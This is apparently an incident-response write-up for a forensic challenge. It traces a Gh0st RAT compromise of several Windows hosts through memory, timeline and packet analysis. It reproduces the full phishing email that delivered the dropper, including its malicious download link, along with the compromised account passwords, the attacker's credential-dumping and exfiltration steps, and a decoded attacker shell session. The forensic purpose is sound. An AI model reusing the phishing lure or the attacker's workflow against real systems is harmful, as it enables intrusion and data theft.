@Jackcr Forensic Challenge

Response prepared by @BryanNolen

FINAL RELEASE VERSION

Challenge Background:

Memory images and timelines for 4 different machines were provided, along with a network capture from the 172.16.150.0/24 network taken after the initial IDS alert that triggered the response.

The first step was collating information on the images provided. This was done using Volatility [1].

Initial Verification of the Provided Images:

The **imageinfo** command is first used to confirm that volatility can indeed process the supplied file and to determine the operating system family, service pack level, architecture, and time zone offset from UTC.

The **printkey** command was then used to extract the "*Microsoft\Windows NT\CurrentVersion*" key which resides in the Software hive. This key provides the registered owner, install date, operating system version, and service pack level. This information is used to confirm the findings from the **imageinfo** command.

A number of other registry keys were also used to determine the IP address of the network interfaces installed on the device in question. The first step however is to determine which Control Set was in use at the time the capture was taken. This is done by running the **hivelist** command to identify the SYSTEM hives physical offset address, and then executing a number of python commands in the inbuilt shell accessed via the **volshell** command. The reference provided at [2] contains the commands needed to do this.

Once we have confirmed what CurrentControlSet is, we can they query the "*ControlSet00[x]\Services\Tcpip\Parameters*" key (where x is the identifier previously determined.) This key will provide us with the hostname & domain name of the device. The "*ControlSet00[x]\Services\Tcpip\Parameters\Adapters*" key is queried next which will identify the UUID of the active NIC. This UUID will be unique to the device being examined. We take this UUID and query the "*ControlSet00[x]\Services\Tcpip\Parameters\Interfaces\[UUID]*" key which will give us the IP address, network, gateway, name servers, and DHCP status of the specified NIC.

Putting all that together we get this handy table below.

DC-USTXHOU	Windows 2003 SP2 32bit, IP Address: 172.16.150.10, Time Zone: UTC-0600
ENG-USTXHOU-148	Windows XP SP3 32bit, IP Address: 172.16.150.20, Time Zone: UTC-0600
FLD-SARIYADH-43	Windows XP SP3 32bit, IP Address: 172.16.223.187, Time Zone: UTC+0300
IIS-SARIYADH-03	Windows 2003 SP0 32bit, IP Address: 172.16.223.47, Time Zone: UTC+0300

PCAP Analysis:

The packet capture provided, at first glance, appears to show little identifiable data, even though it covers about two and a half hours of activity and the ports being used are normal HTTP (TCP/80.)

Throwing the PCAP against snort running Emerging Threats PRO and VRT Registered rule sets, all we see are protocol anomalies, no specific detections. This is a strong indicator that the traffic is obfuscated and/or encrypted in spite of the well-known ports being used.

Using **tshark** [3] with the **-z conv,tcp** option we can easily determine that only 2 hosts are talking ENG-USTXHOU-148 (172.16.150.20) and a mystery host (58.64.132.141).

Opening the PCAP in wireshark and scrolling through the packets, one keyword starts standing out: "Gh0st" [4] – We may have identified out RAT, but how do we find out what they did? Luckily, the team at MITRE have released a tool called ChopShop [5] that can decode the Gh0st protocol (thanks to @infoseckitten for pointing this out!)

Using ChopShop we can decode not only any commands ran by the attacker (using the Gh0st command **SHELL**) but also extract any files they transferred. Appendix A: Gh0st Shell Commands contains the decoded transcript.

At this point we have still not determined how the attacker initially entered the network, but armed with the IP addresses we have a place to search.

Memory Analysis – ENG-USTXHOU-148:

Given that we are working with network records, first volatility module ran is **connscan** – this command sweeps the memory image and identifies any active or recently closed TCP connections. For this device 2 connections stand out:

Offset(P)	Local Address	Remote Address	Pid
0x01f60850	0.0.0.0:0	1.0.0.0:0	36569092
0x01ffa850	172.16.150.20:1291	58.64.132.141:80	1024
0x0201f850	172.16.150.20:1292	172.16.150.10:445	4
0x02084e68	172.16.150.20:1281	172.16.150.10:389	628
0x020f8988	172.16.150.20:2862	172.16.150.10:135	696
0x02201008	172.16.150.20:1280	172.16.150.10:389	628
0x18615850	172.16.150.20:1292	172.16.150.10:445	4
0x189e8850	172.16.150.20:1291	58.64.132.141:80	1024
0x18a97008	172.16.150.20:1280	172.16.150.10:389	628
0x18b8e850	0.0.0.0:0	1.0.0.0:0	36569092
0x18dce988	172.16.150.20:2862	172.16.150.10:135	696

Output from **connscan** command ran against ENG-USTXHOU-148

This confirms that this device is communicating with the unknown machine, and lets us know that Process ID 1024 deserves close attention.

Looking at the process tress (**pstree** command) we can see process 1024 is still running, but at first glance appears legitimate. 3 other processes also stand out, mainly because of their start time.

Name	Pid	PPid	Thds	Hnds	Time
0x823c8830:System	4	0	51	271	1970-01-01 00:00:00
. 0x821841c8:smss.exe	356	4	3	19	2012-11-26 22:03:28
.. 0x82189da0:winlogon.exe	628	356	18	653	2012-11-26 22:03:29
... 0x82194650:services.exe	680	628	15	243	2012-11-26 22:03:30
.... 0x820b3da0:svchost.exe	1024	680	76	1645	2012-11-26 22:03:32
..... 0x82045da0:wuauclt.exe	1628	1024	3	142	2012-11-26 22:04:43
..... 0x82049690:wc.exe	364	1024	1	27	2012-11-27 01:30:00
.... 0x8203c020:alg.exe	1888	680	6	105	2012-11-26 22:03:35
.... 0x821a62e0:svchost.exe	1068	680	5	81	2012-11-26 22:03:32
.... 0x822e9700:spoolsv.exe	1348	680	10	105	2012-11-26 22:03:34
.... 0x82192b10:svchost.exe	940	680	9	258	2012-11-26 22:03:31
.... 0x821a3c10:svchost.exe	1116	680	14	248	2012-11-26 22:03:33
.... 0x8219e2c8:svchost.exe	852	680	14	187	2012-11-26 22:03:31
... 0x82244020:lsass.exe	692	628	22	407	2012-11-26 22:03:30
.. 0x821b0020:csrss.exe	604	356	12	351	2012-11-26 22:03:29
0x8204f020:explorer.exe	284	244	9	372	2012-11-26 22:03:58
. 0x82226650:msmsgs.exe	548	284	3	204	2012-11-26 22:04:03
. 0x822d0828:cmd.exe	1796	284	1	33	2012-11-27 01:56:21
.. 0x820b13b8:mdd.exe	244	1796	1	24	2012-11-27 01:57:28
. 0x821feda0:msimn.exe	1984	284	7	359	2012-11-26 22:06:33
. 0x822408d0:ctfmon.exe	556	284	1	75	2012-11-26 22:04:03

Output from **pstree** command ran against ENG-USTXHOU-148

As you can see PID 1024 belongs to *svchost.exe*, and that the process that spawned it was *services.exe* (PID 680). The launch times are close (22:03:32 and 22:03:30) and also are very close to their common parent process *smss.exe* (PID 356, launch time 22:03:28). We can also see that PID 1024 is the parent PID for *wuauclt.exe* (PID 1628), which was spawned shortly after PID 1024 itself was spawned. So far this all appears very normal.

What stands out however is the process *wc.exe* (PID 264) – the launch time is far after that of almost every other application on the system (01:30:00, a relative difference of approximately three and a half hours) and is highly suspicious.

The other anomalous processes are cmd.exe (PID 1796, launched 01:56:21) and mdd.exe (PID 244, launched 01:57:28.)

Beginning the analysis of PID 1024, because the suspicion that this process had been hollowed and malicious DLL(s) injected, we need to check the list of DLLs loaded. We use the "**dlllist**" command looking specifically at PID 1024.

```
svchost.exe pid:   1024
Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs
Service Pack 3

Base             Size Path
---------- ---------- ----
0x01000000     0x6000 C:\WINDOWS\System32\svchost.exe
0x7c900000    0xaf000 C:\WINDOWS\system32\ntdll.dll
0x7c800000    0xf6000 C:\WINDOWS\system32\kernel32.dll
0x77dd0000    0x9b000 C:\WINDOWS\system32\ADVAPI32.dll
0x77e70000    0x92000 C:\WINDOWS\system32\RPCRT4.dll
0x77fe0000    0x11000 C:\WINDOWS\system32\Secur32.dll
0x5cb70000    0x26000 C:\WINDOWS\System32\ShimEng.dll
<SNIP>
0x10000000    0x1c000 c:\windows\system32\6to4ex.dll
<SNIP>
0x71cd0000    0x17000 C:\WINDOWS\System32\NETUI0.dll
0x71c90000    0x40000 C:\WINDOWS\System32\NETUI1.dll
0x75f70000     0xa000 C:\WINDOWS\System32\davclnt.dll
0x73d30000    0x17000 C:\WINDOWS\System32\wbem\wbemcons.dll
```

Output of "**dlllist –p 1024**" command against ENG-USTXHOU-148

One DLL stands out from the rest. And so let's dump the DLLs from the image and take a closer look. To do this we use the "**dlldump**" command, again specifying PID 1024 but this time providing a path where we want the extracted files to be saved as well as a regex with the names of the DLLs we are specifically interested in. What could also have been done is to dump all the DLLs loaded in this process and run them against know clean hash sets such as the NSRL and in house one from cleanly built devices and install media.

The MD5 hash of the extracted DLL is *156f2c6a65a1eab1c03e1dc7f215a044*. And the SHA256 has is *29f63761610079940e43abd1d7c9c50ab678fef1da43c4c961069bbb8f7d0628*.

Once we have the file running it past our antivirus scanner brings up a generic backdoor detection, proving we are on the right track. Running strings against the DLL and doing a case insensitive grep for "gh0st" provides the final indicators.

```
Gh0st Update
Global\Gh0st %d
e:\gh0st\server\sys\i386\RESSDT.pdb
```

Output of "**grep –i gh0st**" against "*module.1024.20b3da0.10000000.dll*"

Now that we have determined the what, it is time to find the how. The first tool used is "**strings**" and we will start by looking for the IP address of the C2 already identified - *58.64.132.141*. A number of entries are found but the stand out entries appear to be SMTP message headers – was this delivered as a phish?

```
858.64.132.141
Received: from d0793h (d0793h.petro-markets.info [58.64.132.141])
from d0793h (d0793h.petro-markets.info [58.64.132.141]) by ubuntu-router (8.14.3/
42; Mon, 26 Nov 2012 15:00:07 -0500
Received: from d0793h (d0793h.petro-markets.info [58.64.132.141])
58.64.132.141
```

Extract from "**strings memdump.bin | grep 58.64.132.141**"

Expanding our search to include 30 lines of context around the string "*d0793h.petro-markets.info"* brings us the body of an obvious phishing message.

```
ceived: from ubuntu-router ([172.16.150.8]) by dc-ustxhou.petro-market.org with Microsoft SMTPSVC(6.0.3790.0);
 Mon, 26 Nov 2012 14:00:08 -0600
Received: from d0793h (d0793h.petro-markets.info [58.64.132.141])
by ubuntu-router (8.14.3/8.14.3/Debian-9.2ubuntu1) with SMTP id qAQK06Co005842;
Mon, 26 Nov 2012 15:00:07 -0500
Message-ID: <FCE1C36C7BBC46AFB7C2A251EA868B8B@d0793h>
From: "Security Department" <isd@petro-markets.info>
To: <amirs@petro-market.org>, <callb@petro-market.org>,
        <wrightd@petro-market.org>
Subject: Immediate Action
Date: Mon, 26 Nov 2012 14:59:38 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0015_01CDCBE6.A7B92DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512
Return-Path: isd@petro-markets.info
X-OriginalArrivalTime: 26 Nov 2012 20:00:08.0432 (UTC) FILETIME=[A2ABBF00:01CDCC10]
This is a multi-part message in MIME format.
------=_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Attn: Immediate Action is Required!!
The IS department is requiring that all associates update to the new =
version of anti-virus.  This is critical and must be done ASAP!  Failure =
to update anti-virus may result in negative actions.
Please download the new anti-virus and follow the instructions.  Failure =
to install this anti-virus may result in loosing your job!
Please donwload at http://58.64.132.8/download/Symantec-1.43-1.exe
Regards,
--
```

Extracted phishing message

Looking at the message the headers identify that the email was sent to 3 individuals at "*petro-market.org"*, which just happens to be the domain name of the pc. The email was sent from "*isd@petro-markets.info*" which is close enough to the target domain name to cause confusion for the intended victims.

Now we have a URL to search for, we can use the "**iehistory**" command which was introduced in volatility version 2.3 Alpha to attempt to identify if and when the users followed this link.

```
Process: 284 explorer.exe
Cache type "URL " at 0x2895000
Record length: 0x100
Location: Visited: callb@http://58.64.132.8/download/Symantec-1.43-1.exe
Last modified: 2012-11-26 23:01:53
Last accessed: 2012-11-26 23:01:53
```

Extracted IE History Fragment showing visit to malicious URL (times in UTC)

```
Mon Nov 26 2012 23:01:54      56 mac. d/drwxrwxrwx 0       0       10117-144-6 c:/Documents and Settings/callb/Local Settings/Temp
                            4224 .a.. r/rrwxrwxrwx 0       0       11721-128-3 c:/System Volume Information/_restore{68B1E438-DDF2-48EE-
                           22428 macb r/rrwxrwxrwx 0       0       11722-128-4 c:/WINDOWS/Prefetch/SYMANTEC-1.43-1[2].EXE-3793B625.pf
                             160 mac. d/drwxrwxrwx 0       0       3420-144-5 c:/WINDOWS/system32/CatRoot2
                             352 .a.. d/drwxrwxrwx 0       0       3432-144-1 c:/WINDOWS/system32/CatRoot2/{F750E6C3-38EE-11D1-85E5-00C0
                         1056768 mac. r/rrwxrwxrwx 0       0       6996-128-3 c:/WINDOWS/system32/CatRoot2/tmp.edb
                          131072 .a.. r/rrwxrwxrwx 0       0       8499-128-3 c:/WINDOWS/system32/CatRoot2/edb00095.log
                          100895 .ac. r/rr-xr-xr-x 0       0       8610-128-4 c:/WINDOWS/system32/6to4ex.dll
                          131072 mac. r/rrwxrwxrwx 0       0       8611-128-3 c:/WINDOWS/system32/CatRoot2/edb.log
                              56 mac. d/drwxrwxrwx 0       0       8823-144-5 c:/System Volume Information/_restore{68B1E438-DDF2-48EE-8
```

Timeline extract showing Prefetch of Symantec-1.43-1.exe and 6to4ex.dll

At this point in the examination, we have identified as set of Indicators of Compromise (IOC) [6] –

- Network connections to IP *58.64.132.141* on port 80
- DLL "*6to4ex.dll*" loaded into the process space of svchost.exe
- MD5 hash of the "*6to4ex.dll"* file is 156f2c6a65a1eab1c03e1dc7f215a044
- SHA256 has of the "*6to4ex.dll*" file is 29f63761610079940e43abd1d7c9c50ab678fef1da43c4c961069bbb8f7d0628
- Presence of string "*Gh0st*" in the memory image
- Presence of the string "*download/Symantec-1.43-1.exe*" in memory image

This is not an exhaustive list, but is sufficient for triage and to build a quick IOC file (Appendix B.)

Memory Analysis – FLD-SARIYADH-43:

As with the first device, we begin with **connscan**, and immediately find connections to our C2 server linked to the process 1032. Looking at the **pstree** we find that PID is *svchost.exe*, and looking at the **dlllist** we find our old friend "*6to4ex.dll*" loaded in with the same size (0x1c000) and base address (0x10000000).

Offset(P)	Local Address	Remote Address	Pid
0x01fb0d48	172.16.223.187:2109	172.16.150.10:389	640
0x02023638	172.16.223.187:1265	58.64.132.141:80	1032
0x02035ae8	172.16.223.187:1259	172.16.150.10:445	4
0x02080930	172.16.223.187:1261	172.16.150.10:135	1032
0x020859d0	172.16.223.187:1210	172.16.223.47:445	4
0x020f0d38	172.16.223.187:2179	172.16.150.10:1025	696
0x0230d448	172.16.223.187:1241	172.16.150.10:389	632
0x0770fd48	172.16.223.187:2109	172.16.150.10:389	640
0x0836a638	172.16.223.187:1265	58.64.132.141:80	1032
0x084c7930	172.16.223.187:1261	172.16.150.10:135	1032
0x084ec9d0	172.16.223.187:1210	172.16.223.47:445	4
0x08594448	172.16.223.187:1241	172.16.150.10:389	632
0x09b5cae8	172.16.223.187:1259	172.16.150.10:445	4
0x0ac37d38	172.16.223.187:2179	172.16.150.10:1025	696
0x16066d48	172.16.223.187:2109	172.16.150.10:389	640
0x164d3638	172.16.223.187:1265	58.64.132.141:80	1032
0x16610930	172.16.223.187:1261	172.16.150.10:135	1032

Output from **connscan** command ran against FLD-SARIYADH-43

Name	Pid	PPid	Thds	Hnds	Time
0x823c8830:System	4	0	51	287	1970-01-01 00:00:00
. 0x82274b90:smss.exe	544	4	3	19	2012-11-26 22:01:51
.. 0x82238da0:csrss.exe	608	544	13	387	2012-11-26 22:01:52
.. 0x82214da0:winlogon.exe	632	544	17	652	2012-11-26 22:01:52
... 0x822ba638:services.exe	684	632	16	256	2012-11-26 22:01:53
.... 0x8228fda0:svchost.exe	1032	684	77	1558	2012-11-26 22:01:55
..... 0x820297b8:cmd.exe	1048	1032	0	------	2012-11-27 00:27:41
..... 0x821f7da0:ps.exe	1052	1048	2	60	2012-11-27 01:11:17
..... 0x820001e0:wc.exe	1992	1032	1	27	2012-11-27 01:30:00
..... 0x82034b40:cmd.exe	456	1032	0	------	2012-11-27 00:18:21
..... 0x8230dc88:ps.exe	1448	456	1	44	2012-11-27 00:27:11
..... 0x821e8918:wuauclt.exe	1616	1032	3	142	2012-11-26 22:03:07
..... 0x82228da0:cmd.exe	356	1032	0	------	2012-11-27 01:16:33
..... 0x81ffb2a0:ps.exe	228	356	2	65	2012-11-27 01:22:07
.... 0x8217cb10:svchost.exe	944	684	9	261	2012-11-26 22:01:55
.... 0x821753d8:svchost.exe	1076	684	6	84	2012-11-26 22:01:55
.... 0x82043da0:alg.exe	1888	684	6	104	2012-11-26 22:01:59
.... 0x821b4a78:spoolsv.exe	1360	684	9	104	2012-11-26 22:01:58
.... 0x82244460:svchost.exe	860	684	14	188	2012-11-26 22:01:54
.... 0x821bac10:svchost.exe	1128	684	14	249	2012-11-26 22:01:56
... 0x822ab2d8:lsass.exe	696	632	20	411	2012-11-26 22:01:53
0x82223950:explorer.exe	296	260	9	366	2012-11-26 22:02:26
. 0x82226a20:msmsgs.exe	660	296	3	204	2012-11-26 22:02:32
. 0x821d43c0:ctfmon.exe	700	296	1	75	2012-11-26 22:02:32
. 0x821d6598:msimn.exe	1984	296	7	361	2012-11-26 22:07:13
. 0x82004918:cmd.exe	1860	296	1	33	2012-11-27 01:42:52
.. 0x8221d5a8:mdd.exe	988	1860	1	24	2012-11-27 01:46:00

Output from **pstree** command ran against FLD-SARIYADH-43

```
svchost.exe pid:   1032
Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs
Service Pack 3

Base             Size Path
---------- ---------- ----
0x01000000     0x6000 C:\WINDOWS\System32\svchost.exe
0x7c900000    0xaf000 C:\WINDOWS\system32\ntdll.dll
0x7c800000    0xf6000 C:\WINDOWS\system32\kernel32.dll
0x77dd0000    0x9b000 C:\WINDOWS\system32\ADVAPI32.dll
0x77e70000    0x92000 C:\WINDOWS\system32\RPCRT4.dll
0x77fe0000    0x11000 C:\WINDOWS\system32\Secur32.dll
0x5cb70000    0x26000 C:\WINDOWS\System32\ShimEng.dll
<SNIP>
0x10000000    0x1c000 c:\windows\system32\6to4ex.dll
<SNIP>
0x74ed0000     0xe000 C:\WINDOWS\System32\wbem\wbemsvc.dll
0x73d30000    0x17000 C:\WINDOWS\System32\wbem\wbemcons.dll
```

Abbreviated from "**dlllist –p 1032"** command ran against FLD-SARIYADH-43

From the output of **pstree** it is clear that the attacker was very active on this system, with a number of different command windows open. We also see the responder performing the memory dump via *mdd.exe* at 01:46:00 UTC at the bottom of the screen. We also saw the same activity being performed against ENG-USTXHOU-148 at 01:57:28 UTC. The **cmdscan** plugin output shows a user opening a share called "ITSHARE" on the central server (DC-USTXHOU – 192.168.150.10) and copying the mdd.exe utility to the device being captured.

```
CommandHistory: 0x11486f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x348
Cmd #0 @ 0x4f2f38: net use r: \\172.16.150.10\ITShare
Cmd #1 @ 0x4f1f68: cd\
Cmd #2 @ 0x4f32a0: copy r:\mdd.exe .
Cmd #3 @ 0x4f2720: dir
Cmd #4 @ 0x4f2e98: mdd.exe -o callb-memdump.bin
```

Output from "**connscan**" command ran against ENG-USTXHOU-148

Unlike with the ENG-UXTSHOU-148 machine, the **iehistory** command fails to return entries, but a search using the **strings** looking for the URL and the keyword "*Visited:*" did return results. Checking against the timeline we find the Prefetch entry and the 6to4ex.dll being created at 01:17:58 UTC.

```
Tue Nov 27 2012 00:17:58   100895 .ac. r/rr-xr-xr-x 0       0       12010-128-4 c:/WINDOWS/system32/6to4ex.dll
                            22270 macb r/rrwxrwxrwx 0       0       12011-128-4 c:/WINDOWS/Prefetch/SYMANTEC-1.43-1[2].EXE-330FB7E3.pf
                             4224 m.c. r/rrwxrwxrwx 0       0       206-128-3 c:/WINDOWS/system32/drivers/beep.sys
                              400 mac. d/drwxrwxrwx 0       0       3420-144-5 c:/WINDOWS/system32/CatRoot2
```

Timeline extract showing Prefetch of Symantec-1.43-1.exe and 6to4ex.dll

Also using **strings** we are able the same phishing email in the memory image, and the same "*Gh0st*" strings are found in the extracted "*6to4ex.dll*" file. With this and the fragments of the URL visit and timeline showing probable execution, we have found all of our previously identified IOC and confirming that this machine has indeed been compromised by the same backdoor. The extracted DLL also has the same hash values as the one extracted from ENG-USTXHOU-148.

The one major problem at this point is we do not have a PCAP file for this host and cannot extract the exact commands used by the attacker via the Gh0st Trojan.

Memory Analysis – DC-USTXHOU:

As has become practice on this case, we begin with **connscan**, and do not find connections to our C2 server. Looking at the **pstree** we do not see any abnormal processes, aside from "*mdd.exe*" being executed from a command prompt as a response activity.

Running strings against the memory image for the other IOC ("Gh0st" and "*download/Symantec-1.43-1.exe*") only show the phishing email being present in memory, which is expected as this server is the mail server for the domain. No indicators which would suggest the link was followed are present, likewise the file names "*Symantec-1.43-1.exe*" and "*6to4ex.dll*" are also not present in the timeline.

This machine does not appear compromised by the Gh0st backdoor based on our established IOC.

Memory Analysis – IIS-SARIYADH-03:

As with the domain controller DC-USTXHOU, this machine does not appear compromised – suspicious network connections, download URL, and "*Gh0st*" strings are not present in memory image or timeline, and the phishing email is also not present.

However, in the **pstree** there is one process that warrants closer scrutiny – "*PSEXEVCE.EXE*".

```
Name                                                 Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----------------------
 0x822b07a8:System                                     4      0     60    434 1970-01-01 00:00:00
. 0x82103020:smss.exe                                404      4      3     17 2012-11-26 22:04:57
.. 0x820ecd88:csrss.exe                              452    404     11    388 2012-11-26 22:04:58
.. 0x82003d88:winlogon.exe                           484    404     17    514 2012-11-26 22:05:00
... 0x81ff9b08:services.exe                          528    484     16    289 2012-11-26 22:05:01
.... 0x81fe9d88:svchost.exe                          768    528     10    184 2012-11-26 22:05:03
..... 0x81bfc268:wmiprvse.exe                       1080    768      4    136 2012-11-26 22:06:44
.... 0x81c0c200:svchost.exe                          256    528     15    120 2012-11-26 22:06:05
.... 0x81f77388:wins.exe                            1388    528     19    196 2012-11-26 22:05:27
.... 0x81f7f2b0:PSEXESVC.EXE                         268    528      4     85 2012-11-27 00:05:49
.... 0x81fb3668:svchost.exe                          900    528     45    807 2012-11-26 22:05:03
..... 0x81bff828:wuauclt.exe                         860    900      5     69 2012-11-26 22:06:44
.... 0x81f7ac78:inetinfo.exe                        1312    528      8    151 2012-11-26 22:05:27
.... 0x81f9c498:spoolsv.exe                         1084    528      8    103 2012-11-26 22:05:19
.... 0x81f82ad8:svchost.exe                         1344    528      2     33 2012-11-26 22:05:27
.... 0x81c94d88:dfssvc.exe                          1608    528      9     70 2012-11-26 22:05:31
```

Output from **pstree** command ran against IIS-SARIYADH-03

The execution time is within our attack window (established by the time of first execution of the backdoor dropped on ENG-USTXHOU-148 @ 23:01:54 UTC, and the time of the last memory capture, which was on DC-USTXHOU @ 02:01:56 UTC.)

Subsequent examinations of the Gh0st transcript and the ex-filtrated files show that a number of commands were executed, and indeed data deliberately targeted and extracted from this machine. This was accomplished through the use of PSEXEC to open command prompts on this machine.

Detailed Analysis of Attacker Activity

To be completed once I can find more time ☺

To be included:

Use of the ChopShop **gh0st_decode** module to extract the commands used (Appendix A) as well as the files themselves.

Use of the **mftparser** command for volatility to extract the bat files from the $DATA segments in RAM

Reconstruction of command line activity over a PSEXEC session from memory

Challenge Questions:

1. Who delivered the attack?

    "Security Department" <isd@petro-markets.info>

2. Who was the attack delivered too?

    amirs@petro-market.org
    callb@petro-market.org
    wrightd@petro-market.org

3. What time was the attack delivered?

    Mon, 26 Nov 2012 14:00:08 -0600 via phishing email.

4. What time was the attack executed?

    By the user callb on machine ENG-USTXHOU-148:

        Downloaded at Mon, 26 Nov 2012 23:01:53 **UTC**
        Executed at Mon, 26 Nov 2012 23:01:54 **UTC**
        (from IE history fragment, verified with timeline and prefetch entry)

    By the user amirs on machine FLD-SARIYADH-43:

        Downloaded at unknown (Visited: fragment in memory without timestamp)
        Executed at Tue, 27 Nov 2012 00:17:58 **UTC** (timeline and prefetch entry)

5. What is the C2 IP Address?

    58.64.132.141

6. What is the name of the dropper?

    Symantec-1.43-1.exe

7. What is the name of the backdoor?

    Gh0st

8. What is the process name the backdoor is running in?

    svchost.exe via the injected DLL 6to4ex.dll

9. What is the process id on all the machines the backdoor is installed on?

    ENG-USTXHOU-148 PID 1024
    FLD-SARIYADH-43 PID 1032

10. What usernames were used in this attack?

    callb (password Mar1ners@4655)
    sysbackup (password T1g3rsL10n5)

11. What level of access did the attacker have?

    Local Administrator (via sysbackup account)

12. How was lateral movement performed?

cmd.exe executed via PSEXEC from ENG-USTXHOU-148 to IIS-SARIYADH-03
PSEXEC was attempted against DC-USTXHOU but was not successful.

13. What .bat scripts were placed on the machines?

FLD-SARIYADH-43
- system1.bat
- system2.bat
- system3.bat
- system4.bat
- system5.bat
- system6.bat

ENG-USTXHOU-148
- system5.bat

IIS-SARIYADH-03
- system1.bat
- system4.bat
- system5.bat

14. What are the contents of each .bat script?

system1.bat – make the c:\windows\webuidirectory and share it as "Z" granting the sysbackup user full permissions.

System2.bat – execute gs.exe and output to c:\windows\webui\svchost.dll

system3.bat – perform a recursive directory listing of c:*.dwg and write output to c:\windows\webui\https.dll

system4.bat – using winrar, compress the contents of "C:\Engineering\Designs\Pumps*.dwg" excluding *.dll, writing the resulting rar archive into c:\WINDOWS\webui\netstat.dll using the password hcllsddlsdiddkljh.

system5.bat - copies wc.exe from the c:\windows\webui\ directory into the c:\windows\system32\ directory and creates an AT task to execute it at various times.

system6.bat – execute various system utilities to gather information on the network.

15. What other tools were placed on the machines by the attacker?

PSEXEC (ps.exe)
Windows Credentials Editor (wc.exe)
WinRAR (ra.exe)
ScanLine (sl.exe)
gsecdump (gs.exe)

16. What directory was used by the attacker to drop tools?

C:\WINDOWS\webui

17. Was the directory newly created or was it there prior to the attack?

Newly created for the attack

18. What were the names of the exfiltrated files?

    netuse.dll
    system.dll
    svchost.dll
    netstat.dll
    https.dll

19. What did the exfiltrated files contain?

    netuse.dll – output of various commands executed on ENG-USTXHOU-148 - hashes included
    system.dll – output of various commands executed on IIS-SARIYADH-03 - no hashes included
    svchost.dll – output of hash dumping commands on IIS-SARIYADH-03
    https.dll – directory listing of C:\Engineering\Designs\Pumps from IIS-SARIYADH-03
    netstat.dll – RAR file

20. What time did winrar run?

    Tue Nov 27 2012 01:11:19 **UTC**

21. What is the md5sum of pump1.dwg?

    a48266248c04b2ba733238a480690a1c

22. Which machines were compromised and need to be remediated?

    ENG-USTSXHOU-148
    FLD-SARIYADH-43
    IIS-SARIYADH-03

23. Which user accounts were compromised and need to be remediated?

    callb
    sysbackup
    saadmin

24. Are there additional machines that need to be analyzed?

    No.

25. Describe how each machine was involved in this incident and overall what happened.

    See analysis above.

REFERENCES

[1] https://code.google.com/p/volatility/

[2] http://code.google.com/p/volatility/wiki/CommandReference21#hashdump

[3] http://www.wireshark.org/

[4] http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf

[5] https://github.com/MITRECND/chopshop

[6] http://www.openioc.org/

Appendix A: Gh0st Shell Commands

Note: red text are commands entered by the attacker in the shell. Names of files uploaded or downloaded are in **bold**.

```
COMMAND: ACTIVED
COMMAND: SHELL
TOKEN: SHELL START

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd ..

C:\WINDOWS>mkdir webui

C:\WINDOWS>cd webui

C:\WINDOWS\webui>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 172.16.150.20
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 172.16.150.2


COMMAND: LIST DRIVE
TOKEN: DRIVE LIST
DRIVE TOTAL FREE  FILESYSTEM DESCRIPTION
A     0     0          Removable Disk
C     10228 6681  NTFS  Local Disk
D     539   0     CDFS  CD Drive

COMMAND: LIST FILES (C:\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   AUTOEXEC.BAT     0     129964314217180000
DIR   boot.ini   211   129981609811585442
DIR   CONFIG.SYS 0     129964314217180000
DIR   Documents and Settings      0     129964569290921031
DIR   IO.SYS     0     129964314217180000
DIR   MSDOS.SYS  0     129964314217180000
DIR   NTDETECT.COM     47564 129981606020615962
DIR   ntldr 250048     129981618306345996
DIR   pagefile.sys     805306368  129984410083593750
DIR   Program Files    0     129964566580312500
DIR   RECYCLER   0     129982548503655357
DIR   System Volume Information   0     129981611111718750
DIR   WINDOWS    0     129984445902376741

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   WMSysPr9.prx     316640     129981626850685706
```

```
DIR   WMSysPrx.prx     299552     129964314180773750
DIR   Zapotec.bmp      9522  126750960000000000
DIR   _default.pif     707   126750960000000000

C__WINDOWS_ps.exe
COMMAND: FILE SIZE (C:\WINDOWS\ps.exe: 381816)
Wrote 381816 of 381816 to C__WINDOWS_ps.exe
TOKEN: DATA CONTINUE

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe     381816     129984447951480662
<SNIP>
DIR   WMSysPr9.prx     316640     129981626850685706
DIR   WMSysPrx.prx     299552     129964314180773750
DIR   Zapotec.bmp      9522  126750960000000000
DIR   _default.pif     707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST (INVALID HANDLE)

C__WINDOWS_webui_gs.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\gs.exe: 303104)
TOKEN: DATA CONTINUE
Wrote 303104 of 303104 to C__WINDOWS_webui_gs.exe
TOKEN: DATA CONTINUE

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe     303104     129984448080090049

C__WINDOWS_webui_ra.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\ra.exe: 403968)
TOKEN: DATA CONTINUE
COMMAND: FILE DATA (3001)
Wrote 403968 of 403968 to C__WINDOWS_webui_ra.exe

C__WINDOWS_webui_sl.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\sl.exe: 20480)
